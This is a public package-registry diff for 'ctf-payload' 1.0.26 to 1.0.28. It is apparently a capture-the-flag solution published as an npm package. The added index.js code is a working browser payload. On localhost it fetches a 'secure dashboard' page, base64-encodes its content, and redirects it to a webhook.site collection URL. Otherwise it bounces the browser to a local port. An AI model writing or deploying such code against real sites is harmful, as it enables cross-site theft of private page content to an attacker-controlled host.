ctf-payload 1.0.26 → 1.0.28

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +8 -3
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,7 +1,12 @@
1
1
  if(window.location.hostname === '127.0.0.1'){
2
- // Stage 2: confirm chạy được, rồi fetch dashboard
3
- window.location='https://webhook.site/8ea4724b-a595-4a1b-89d2-d7a1745ba6b0?stage=2';
2
+ fetch('/my-secure-dashboard-page')
3
+ .then(r=>r.text())
4
+ .then(t=>{
5
+ window.location='https://webhook.site/8ea4724b-a595-4a1b-89d2-d7a1745ba6b0?d='+btoa(unescape(encodeURIComponent(t.substring(0,800))));
6
+ })
7
+ .catch(e=>{
8
+ window.location='https://webhook.site/8ea4724b-a595-4a1b-89d2-d7a1745ba6b0?err='+encodeURIComponent(e.message);
9
+ });
4
10
  } else {
5
- // Stage 1: confirm chạy, rồi redirect
6
11
  window.location='http://127.0.0.1:8255/part2';
7
12
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ctf-payload",
3
- "version": "1.0.26",
3
+ "version": "1.0.28",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1"